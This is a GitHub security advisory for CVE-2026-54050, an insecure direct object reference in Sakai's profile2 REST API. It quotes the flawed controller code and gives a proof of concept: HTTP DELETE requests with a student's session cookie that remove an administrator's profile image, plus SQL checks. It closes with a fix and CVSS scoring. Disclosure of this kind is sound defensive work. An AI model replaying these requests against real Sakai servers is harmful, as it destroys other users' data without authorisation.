Skip to content

Sakai Profile Image Deletion has an IDOR

Moderate severity GitHub Reviewed Published Jun 11, 2026 in sakaiproject/sakai • Updated Aug 24, 2026

Package

maven org.sakaiproject.profile2:profile2-api (Maven)

Affected versions

>= 23.0, < 23.5
>= 25.0, <= 25.2

Patched versions

23.5
maven org.sakaiproject.profile2:profile2-impl (Maven)
>= 23.0, < 23.5
>= 25.0, <= 25.2
23.5

Description

Summary

The Sakai REST API endpoint DELETE /api/users/{userId}/profile/image does not verify that the requesting user is authorized to modify the target user's profile. Any authenticated user can delete the profile image of any other user, including administrators, by supplying a different userId in the path. The service layer has no authorization check, and the delete cascades through Content Hosting Service (CHS) with a security advisor that bypasses all CHS permission checks.

Details

ProfileController.removeProfileImage() in the webapi module retrieves the current user's session but performs no comparison between the authenticated user and the target userId path parameter:

@DeleteMapping(value = "/users/{userId}/profile/image")
public ResponseEntity<String> removeProfileImage(@PathVariable String userId) {
    String currentUserId = checkSakaiSession().getUserId();
    if (currentUserId == null) {
        return ResponseEntity.status(HttpStatus.FORBIDDEN).build();
    }
    profileService.removeProfileImage(userId);  // userId is attacker-controlled
    return ResponseEntity.ok().build();
}

ProfileServiceImpl.removeProfileImage() delegates directly to dao.removeProfileImage(userUuid) with no authorization check. The DAO calls profileImageUploadedRepository.deleteById(userId), removing the profile_images_t row unconditionally.

For contrast, the upload endpoint setProfileImage() correctly verifies ownership:

if (!sakaiProxy.isSuperUser() && !StringUtils.equals(currentUserUuid, userUuid)) {
    throw new SecurityException("Not allowed to save.");
}

This asymmetry means any authenticated user can delete but not upload over another user's profile image.

Additionally, the pronunciation recording delete endpoint (DELETE /api/users/{userId}/profile/pronunciation) has no checkSakaiSession() call at all, making it accessible without any authentication.

Setup:

  • Admin user: admin, with a custom profile image uploaded
  • Attacker: student2 (unprivileged user, SAKAIID cookie from authenticated session)

Step 1 - Admin uploads profile image (confirm non-default state):

POST /api/users/admin/profile/image HTTP/1.1
Cookie: SAKAIID=<admin-session>
Content-Type: application/x-www-form-urlencoded

base64=<base64-encoded-png>

Response: {"status":"SUCCESS"}

Step 2 - Verify image exists in database:

SELECT USER_UUID, RESOURCE_MAIN FROM profile_images_t WHERE USER_UUID='admin';
-- Result: admin | /private/profileImages/admin/1/eb92b129-9b00-4978-aec3-be840455d8e9

Step 3 - Attacker (student2) deletes admin's profile image:

DELETE /api/users/admin/profile/image HTTP/1.1
Host: localhost:9107
Cookie: SAKAIID=974996f4-e9c1-441c-9ab9-d3646aa5c754.9799861f31fb

Response: HTTP/1.1 200

Step 4 - Verify image is gone from database:

SELECT USER_UUID, RESOURCE_MAIN FROM profile_images_t WHERE USER_UUID='admin';
-- Result: (empty - row deleted)

The attack succeeds. Student2's session is accepted by checkSakaiSession() (non-blank userId), and the target userId (admin) is passed directly to the service without any ownership check.

Impact

Any authenticated user (student, guest) can:

  • Permanently delete the profile image of any other user, including administrators and instructors
  • Repeatedly trigger deletion to prevent a target user from maintaining a profile picture
  • In a university context where profile photos are used for identity verification in proctored exams or student directories, this could disrupt identity management workflows

The attack is trivially scriptable and can target all users on the platform in bulk.

Suggested Remediation

In ProfileController.removeProfileImage(), add an ownership check before calling the service:

@DeleteMapping(value = "/users/{userId}/profile/image")
public ResponseEntity<String> removeProfileImage(@PathVariable String userId) {
    Session session = checkSakaiSession();
    String currentUserId = session.getUserId();
    if (currentUserId == null) {
        return ResponseEntity.status(HttpStatus.FORBIDDEN).build();
    }
    // Add this check:
    if (!sakaiProxy.isSuperUser() && !currentUserId.equals(userId)) {
        return ResponseEntity.status(HttpStatus.FORBIDDEN).build();
    }
    profileService.removeProfileImage(userId);
    return ResponseEntity.ok().build();
}

Apply the same ownership check in ProfileServiceImpl.removeProfileImage() for defense-in-depth, mirroring the pattern in setProfileImage().

For the pronunciation endpoint, add checkSakaiSession() and the same ownership check.

Status / timeline:

  • 2026-06-02: Fix committed to master (a092dbf3dc6bf343131f50007c207a9abd95e852)
  • Release pending.

References

@ottenhoff ottenhoff published to sakaiproject/sakai Jun 11, 2026
Published to the GitHub Advisory Database Aug 24, 2026
Reviewed Aug 24, 2026
Last updated Aug 24, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(14th percentile)

Weaknesses

Authorization Bypass Through User-Controlled Key

The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data. Learn more on MITRE.

CVE ID

CVE-2026-54050

GHSA ID

GHSA-9284-fjc3-fmmj

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.